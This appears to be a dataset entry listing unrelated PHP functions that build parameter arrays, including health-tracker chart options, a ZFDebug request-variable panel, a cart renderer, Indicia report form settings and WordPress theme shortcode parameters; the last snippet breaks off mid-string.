[ "public function getDesignParams();", "public function getParameters() {\r\n $paramArray = array(\r\n 'optionsName' => $this->optionsName,\r\n 'userName' => $this->userName,\r\n 'isActive' => $this->isActive,\r\n 'activeMeasurement' => $this->activeMeasurement,\r\n 'bloodPressureUnits' => $this->bloodPressureUnits,\r\n 'calorieUnits' => $this->calorieUnits,\r\n 'exerciseUnits' => $this->exerciseUnits,\r\n 'glucoseUnits' => $this->glucoseUnits,\r\n 'sleepUnits' => $this->sleepUnits,\r\n 'weightUnits' => $this->weightUnits,\r\n 'timeFormat' => $this->timeFormat,\r\n 'durationFormat' => $this->durationFormat,\r\n 'showTooltips' => $this->showTooltips,\r\n 'showSecondaryCols' => $this->showSecondaryCols,\r\n 'showDateCol' => $this->showDateCol,\r\n 'showTimeCol' => $this->showTimeCol,\r\n 'showNotesCol' => $this->showNotesCol,\r\n 'numRows' => $this->numRows,\r\n 'showTable' => $this->showTable,\r\n 'tableSize' => $this->tableSize,\r\n 'chartPlacement' => $this->chartPlacement,\r\n 'showFirstChart' => $this->showFirstChart,\r\n 'showSecondChart' => $this->showSecondChart,\r\n 'firstChartType' => $this->firstChartType,\r\n 'secondChartType' => $this->secondChartType,\r\n 'chartLastYear' => $this->chartLastYear,\r\n 'chartGroupDays' => $this->chartGroupDays,\r\n 'individualBloodPressureChartStart' => $this->individualBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'individualBloodPressureChartEnd' => $this->individualBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'dailyBloodPressureChartStart' => $this->dailyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'dailyBloodPressureChartEnd' => $this->dailyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyBloodPressureChartStart' => $this->weeklyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'weeklyBloodPressureChartEnd' => $this->weeklyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyBloodPressureChartStart' => $this->monthlyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'monthlyBloodPressureChartEnd' => $this->monthlyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyBloodPressureChartStart' => $this->yearlyBloodPressureChartStart->format(self::DATE_FORMAT),\r\n 'yearlyBloodPressureChartEnd' => $this->yearlyBloodPressureChartEnd->format(self::DATE_FORMAT),\r\n 'individualCaloriesChartStart' => $this->individualCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'individualCaloriesChartEnd' => $this->individualCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'dailyCaloriesChartStart' => $this->dailyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'dailyCaloriesChartEnd' => $this->dailyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyCaloriesChartStart' => $this->weeklyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'weeklyCaloriesChartEnd' => $this->weeklyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyCaloriesChartStart' => $this->monthlyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'monthlyCaloriesChartEnd' => $this->monthlyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyCaloriesChartStart' => $this->yearlyCaloriesChartStart->format(self::DATE_FORMAT),\r\n 'yearlyCaloriesChartEnd' => $this->yearlyCaloriesChartEnd->format(self::DATE_FORMAT),\r\n 'individualExerciseChartStart' => $this->individualExerciseChartStart->format(self::DATE_FORMAT),\r\n 'individualExerciseChartEnd' => $this->individualExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'dailyExerciseChartStart' => $this->dailyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'dailyExerciseChartEnd' => $this->dailyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyExerciseChartStart' => $this->weeklyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'weeklyExerciseChartEnd' => $this->weeklyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyExerciseChartStart' => $this->monthlyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'monthlyExerciseChartEnd' => $this->monthlyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyExerciseChartStart' => $this->yearlyExerciseChartStart->format(self::DATE_FORMAT),\r\n 'yearlyExerciseChartEnd' => $this->yearlyExerciseChartEnd->format(self::DATE_FORMAT),\r\n 'individualGlucoseChartStart' => $this->individualGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'individualGlucoseChartEnd' => $this->individualGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'dailyGlucoseChartStart' => $this->dailyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'dailyGlucoseChartEnd' => $this->dailyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyGlucoseChartStart' => $this->weeklyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'weeklyGlucoseChartEnd' => $this->weeklyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyGlucoseChartStart' => $this->monthlyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'monthlyGlucoseChartEnd' => $this->monthlyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyGlucoseChartStart' => $this->yearlyGlucoseChartStart->format(self::DATE_FORMAT),\r\n 'yearlyGlucoseChartEnd' => $this->yearlyGlucoseChartEnd->format(self::DATE_FORMAT),\r\n 'individualSleepChartStart' => $this->individualSleepChartStart->format(self::DATE_FORMAT),\r\n 'individualSleepChartEnd' => $this->individualSleepChartEnd->format(self::DATE_FORMAT),\r\n 'dailySleepChartStart' => $this->dailySleepChartStart->format(self::DATE_FORMAT),\r\n 'dailySleepChartEnd' => $this->dailySleepChartEnd->format(self::DATE_FORMAT),\r\n 'weeklySleepChartStart' => $this->weeklySleepChartStart->format(self::DATE_FORMAT),\r\n 'weeklySleepChartEnd' => $this->weeklySleepChartEnd->format(self::DATE_FORMAT),\r\n 'monthlySleepChartStart' => $this->monthlySleepChartStart->format(self::DATE_FORMAT),\r\n 'monthlySleepChartEnd' => $this->monthlySleepChartEnd->format(self::DATE_FORMAT),\r\n 'yearlySleepChartStart' => $this->yearlySleepChartStart->format(self::DATE_FORMAT),\r\n 'yearlySleepChartEnd' => $this->yearlySleepChartEnd->format(self::DATE_FORMAT),\r\n 'individualWeightChartStart' => $this->individualWeightChartStart->format(self::DATE_FORMAT),\r\n 'individualWeightChartEnd' => $this->individualWeightChartEnd->format(self::DATE_FORMAT),\r\n 'dailyWeightChartStart' => $this->dailyWeightChartStart->format(self::DATE_FORMAT),\r\n 'dailyWeightChartEnd' => $this->dailyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'weeklyWeightChartStart' => $this->weeklyWeightChartStart->format(self::DATE_FORMAT),\r\n 'weeklyWeightChartEnd' => $this->weeklyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'monthlyWeightChartStart' => $this->monthlyWeightChartStart->format(self::DATE_FORMAT),\r\n 'monthlyWeightChartEnd' => $this->monthlyWeightChartEnd->format(self::DATE_FORMAT),\r\n 'yearlyWeightChartStart' => $this->yearlyWeightChartStart->format(self::DATE_FORMAT),\r\n 'yearlyWeightChartEnd' => $this->yearlyWeightChartEnd->format(self::DATE_FORMAT)\r\n );\r\n \r\n return $paramArray;\r\n }", "public function getPanel()\n {\n $this->_request = Zend_Controller_Front::getInstance()->getRequest();\n $viewRenderer = Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer');\n $viewVars = $viewRenderer->view->getVars();\n $vars = '';\n if ($this->_request->isPost())\n {\n $vars .= '<h4>$_POST</h4>'\n . '<div id=\"ZFDebug_post\">' . $this->_cleanData($this->_request->getPost()) . '</div>';\n }\n \n if (isset($_SESSION)) {\n \t$vars .= '<h4>$_SESSION</h4>'\n\t\t\t\t. '<div id=\"ZFDebug_cookie\">' . $this->_cleanData($_SESSION) . '</div>';\n }\n\n $vars .= '<h4>$_COOKIE</h4>'\n . '<div id=\"ZFDebug_cookie\">' . $this->_cleanData($this->_request->getCookie()) . '</div>'\n . '<h4>Request</h4>'\n . '<div id=\"ZFDebug_requests\">' . $this->_cleanData($this->_request->getParams()) . '</div>'\n . '<h4>View vars</h4>'\n . '<div id=\"ZFDebug_vars\">' . $this->_cleanData($viewVars) . '</div>';\n return $vars;\n }", "public function renderParamJs() {\n $script = '<script type=\"text/javascript\"> if(typeof TAMI.pagedata ==\"undefined\"){TAMI.pagedata={}; } ';\n\n foreach ($this->paramjs as $key => $val) {\n $script = $script . ' TAMI.pagedata.' . $key . '=' . json_encode($val) . '; ';\n }\n\n $script = $script . ' </script>';\n\n return $script;\n }", "public function panel (\\stdClass $param);", "protected function generateParams()\n {\n $qty = Cart::count();\n\n $templatePart = $qty ? '_cart-content' : '_cart-empty';\n\n $html = view(\"website.cart.$templatePart\")->render();\n\n return compact('html', 'qty');\n }", "public static function get_parameters() {\n $r = array_merge(\n iform_map_get_map_parameters(),\n iform_report_get_minimal_report_parameters(),\n array(\n array(\n 'name' => 'downloadOwnDataOnly',\n 'caption' => 'Download own data only',\n 'description' => 'If ticked then the user is only allowed to download data when showing just their own data.',\n 'type' => 'checkbox',\n 'default' => false,\n 'required' => false\n ),\n array(\n 'name' => 'includeEditLink',\n 'caption' => 'Include edit link',\n 'description' => 'Include an edit link for each row that was input by the current user',\n 'type' => 'checkbox',\n 'default' => true,\n 'required' => false\n ),\n array(\n 'name' => 'includeEditLinkPath',\n 'caption' => 'Path to page used for edits',\n 'description' => 'The path to the page used for edits. This is just the site relative path, e.g. http://www.example.com/index.php?q=enter-records needs '.\n 'to be input as just enter-records. The path is called with the id of the record in a parameter called occurrence_id.',\n 'type' => 'text_input',\n 'default' => '',\n 'required' => false\n ),\n array(\n 'name' => 'columns_config',\n 'caption' => 'Columns Configuration',\n 'description' => 'Define a list of columns with various configuration options when you want to override the '.\n 'default output of the report.',\n 'type' => 'jsonwidget',\n 'schema' => '{\n \"type\":\"seq\",\n \"title\":\"Columns List\",\n \"sequence\":\n [\n {\n \"type\":\"map\",\n \"title\":\"Column\",\n \"mapping\": {\n \"fieldname\": {\"type\":\"str\",\"desc\":\"Name of the field to output in this column. Does not need to be specified when using the template option.\"},\n \"display\": {\"type\":\"str\",\"desc\":\"Caption of the column, which defaults to the fieldname if not specified.\"},\n \"actions\": {\n \"type\":\"seq\",\n \"title\":\"Actions List\",\n \"sequence\": [{\n \"type\":\"map\",\n \"title\":\"Actions\",\n \"desc\":\"List of actions to make available for each row in the grid.\",\n \"mapping\": {\n \"caption\": {\"type\":\"str\",\"desc\":\"Display caption for the action\\'s link.\"},\n \"visibility_field\": {\"type\":\"str\",\"desc\":\"Optional name of a field in the data which contains true or false to define the visibility of this action.\"},\n \"img\": {\"type\":\"str\",\"desc\":\"Set img to the path to an image to use an image for the action instead of a text caption - the caption '.\n 'then becomes the image\\'s title. The image path can contain {rootFolder} to be replaced by the root folder of the site, in this '.\n 'case it excludes the path parameter used in Drupal when dirty URLs are used (since this is a direct link to a URL).\"},\n \"url\": {\"type\":\"str\",\"desc\":\"A url that the action link will point to, unless overridden by JavaScript. The url can contain tokens which '.\n 'will be subsituted for field values, e.g. for http://www.example.com/image/{id} the {id} is replaced with a field called id in the current row. '.\n 'Can also use the subsitution {currentUrl} to link back to the current page, {rootFolder} to represent the folder on the server that the current PHP page is running from, and '.\n '{imageFolder} for the image upload folder\"},\n \"urlParams\": {\n \"type\":\"map\",\n \"subtype\":\"str\",\n \"desc\":\"List of parameters to append to the URL link, with field value replacements such as {id} begin replaced '.\n 'by the value of the id field for the current row.\"\n },\n \"class\": {\"type\":\"str\",\"desc\":\"CSS class to attach to the action link.\"},\n \"javascript\": {\"type\":\"str\",\"desc\":\"JavaScript that will be run when the link is clicked. Can contain field value substitutions '.\n 'such as {id} which is replaced by the value of the id field for the current row. Because the javascript may pass the field values as parameters to functions, '.\n 'there are escaped versions of each of the replacements available for the javascript action type. Add -escape-quote or '.\n '-escape-dblquote to the fieldname. For example this would be valid in the action javascript: foo(\\\"{bar-escape-dblquote}\\\"); '.\n 'even if the field value contains a double quote which would have broken the syntax.\"}\n }\n }]\n },\n \"visible\": {\"type\":\"bool\",\"desc\":\"Should this column be shown? Hidden columns can still be used in templates or actions.\"},\n \"template\": {\"type\":\"txt\",\"desc\":\"Allows you to create columns that contain dynamic content using a template, rather than just the output '.\n 'of a field. The template text can contain fieldnames in braces, which will be replaced by the respective field values. '.\n 'Note that template columns cannot be sorted by clicking grid headers.\" }\n }\n }\n ]\n}',\n 'required' => false,\n 'group' => 'Report Settings'\n ),\n )\n );\n // @todo Set the default report name\n foreach ($r as &$param) {\n if ($param['name']==='report_name') {\n $param['default'] = 'library/occurrences/explore_list';\n $param['description'] .= '<br/>The report used must meet a set of criteria to be used for this form, as illustrated by the library/occurrences/explore_list '.\n 'report. The report should have the following columns:<br/>'.\n '<strong>belongs_to_user</strong> - a boolean indicating if the record belongs to (i.e. is editable by) the logged in user.<br/>'.\n '<strong>certainty</strong> - text output which identifies the certainty of the record if known. This is appended to the word '.\n 'certainty to make a class which is attached to the row HTML, allowing you to use CSS to style the row output. E.g. if the report '.\n 'outputs C in this column then the row HTML will have a class certaintyC.<br/>'.\n '<br/>The report should have the following parameters:<br/>'.\n '<strong>location_id</strong> - Warehouse ID of the user\\'s preferred recording location passed automatically from the user\\'s account. Only applied if own_locality is 1.<br/>'.\n '<strong>ownLocality</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the contents of the location identified by location_id.<br/>'.\n '<strong>taxon_groups</strong> Takes a comma separated list of taxon_group_ids as a string suitable for insertion into an SQL in (...) clause. '.\n 'Will be passed the user\\'s preferred species groups from their user account if the Easy Login feature is installed. Only applied if ownGroups is 1.<br/>'.\n '<strong>ownGroups</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the contents of the taxon groups identified by taxon_groups.<br/>'.\n '<strong>currentUser</strong> Warehouse User ID of the logged in user, used to filter records to their own data. Only applied if ownData is 1.<br/>'.\n '<strong>ownData</strong> - Boolean (1 or 0) parameter which defines if the output should be filtered to the user\\'s own records.';\n }\n elseif ($param['name']==='param_presets')\n $param['default'] = \"smpattrs=\\noccattrs=\\nlocation_id={profile_location}\\ntaxon_groups={profile_taxon_groups}\\ncurrentUser={profile_indicia_user_id}\";\n elseif ($param['name']==='param_defaults')\n $param['default'] = \"idlist=\\nsearchArea=\";\n elseif ($param['name']==='standard_controls')\n $param['default'] = \"layerSwitcher\\npanZoomBar\";\n }\n return $r;\n }", "public static function get_params() {\n\n\t\t\t$params = array(\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'heading' => esc_html__( 'Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'size',\n\t\t\t\t\t'value' => '30px',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'height' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'responsive', 'value' => 'false' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_ofswitch',\n\t\t\t\t\t'heading' => esc_html__( 'Responsive?', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'responsive',\n\t\t\t\t\t'value' => 'false',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'heading' => esc_html__( 'Height', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'size_responsive',\n\t\t\t\t\t'value' => '30px',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'height' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'responsive', 'value' => 'true' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Custom Classes', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'class',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_spacing' );\n\n\t\t}", "public static function get_params() {\n\t\t\t$params = array(\n\t\t\t\t// General\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading',\n\t\t\t\t\t'value' => 'Sample Heading',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textarea_html',\n\t\t\t\t\t'holder' => 'div',\n\t\t\t\t\t'heading' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content',\n\t\t\t\t\t'value' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed faucibus feugiat convallis. Integer nec eros et risus condimentum tristique vel vitae arcu.',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Element ID', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'unique_id',\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'unique_id' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Extra class name', 'total-theme-core' ),\n\t\t\t\t\t'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'classes',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t'heading' => esc_html__( 'Visibility', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_hover_animations',\n\t\t\t\t\t'heading' => esc_html__( 'Hover Animation', 'total-theme-core'),\n\t\t\t\t\t'param_name' => 'hover_animation',\n\t\t\t\t),\n\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Duration', 'total'),\n\t\t\t\t\t'param_name' => 'animation_duration',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Delay', 'total'),\n\t\t\t\t\t'param_name' => 'animation_delay',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\t// Style\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'style',\n\t\t\t\t\t'value' => array(\n\t\t\t\t\t\tesc_html__( 'Default', 'total-theme-core' ) => '',\n\t\t\t\t\t\tesc_html__( 'Plain', 'total-theme-core' ) => 'one',\n\t\t\t\t\t\tesc_html__( 'Boxed Rounded', 'total-theme-core' ) => 'two',\n\t\t\t\t\t\tesc_html__( 'Boxed Square', 'total-theme-core' ) => 'three',\n\t\t\t\t\t\tesc_html__( 'Outline', 'total-theme-core' ) => 'four',\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Bottom Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'bottom_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Shadow', 'total' ),\n\t\t\t\t\t'param_name' => 'shadow',\n\t\t\t\t\t'value' => vcex_shadow_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t'heading' => esc_html__( 'Text Align', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'text_align',\n\t\t\t\t\t'std' => '',\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Padding', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'padding',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Background Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'background',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Border Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'border_color',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'four' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Border Radius', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'border_radius',\n\t\t\t\t\t'dependency' => array( 'element' => 'style', 'value' => array( 'two', 'three', 'four' ) ),\n\t\t\t\t\t'group' => esc_html__( 'Style', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Heading\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_color',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_select_buttons',\n\t\t\t\t\t'heading' => esc_html__( 'Tag', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_type',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t\t'std' => 'h2',\n\t\t\t\t\t'choices' => 'html_tag',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_family_select',\n\t\t\t\t\t'heading' => esc_html__( 'Font Family', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_font_family',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_weight',\n\t\t\t\t\t'heading' => esc_html__( 'Font Weight', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_weight',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_text_transforms',\n\t\t\t\t\t'heading' => esc_html__( 'Text Transform', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_transform',\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'target' => 'font-size',\n\t\t\t\t\t'heading' => esc_html__( 'Font Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_size',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'font_size' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_margin',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'margin' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Letter Spacing', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'heading_letter_spacing',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'letter_spacing' ),\n\t\t\t\t\t'group' => esc_html__( 'Heading', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Content\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Top Spacing', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_top_margin',\n\t\t\t\t\t'value' => vcex_margin_choices(),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Background', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_background',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_colorpicker',\n\t\t\t\t\t'heading' => esc_html__( 'Color', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_color',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Margin', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_margin',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'margin' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t'heading' => esc_html__( 'Padding', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_padding',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'padding' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_responsive_sizes',\n\t\t\t\t\t'target' => 'font-size',\n\t\t\t\t\t'heading' => esc_html__( 'Font Size', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_font_size',\n\t\t\t\t\t'description' => vcex_shortcode_param_description( 'font_size' ),\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'vcex_font_weight',\n\t\t\t\t\t'heading' => esc_html__( 'Font Weight', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'content_font_weight',\n\t\t\t\t\t'group' => esc_html__( 'Content', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\t// Media\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'dropdown',\n\t\t\t\t\t'heading' => esc_html__( 'Source', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image_source',\n\t\t\t\t\t'std' => 'media_library',\n\t\t\t\t\t'value' => array(\n\t\t\t\t\t\tesc_html__( 'Media Library', 'total-theme-core' ) => 'media_library',\n\t\t\t\t\t\tesc_html__( 'External', 'total-theme-core' ) => 'external',\n\t\t\t\t\t),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'attach_image',\n\t\t\t\t\t'heading' => esc_html__( 'Image', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image',\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'media_library' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'External Image URL', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'external_image',\n\t\t\t\t\t'dependency' => array( 'element' => 'image_source', 'value' => 'external' ),\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Image Alt', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'image_alt',\n\t\t\t\t\t'group' => esc_html__( 'Media', 'total-theme-core' ),\n\t\t\t\t\t'dependency' => array( 'element' => 'image', 'not_empty' => true ),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Video link', 'total-theme-core' ),\n\t\t\t\t\t'param_name' => 'video',\n\t\t\t\t\t'description' => esc_html__( 'Enter in a video URL that is 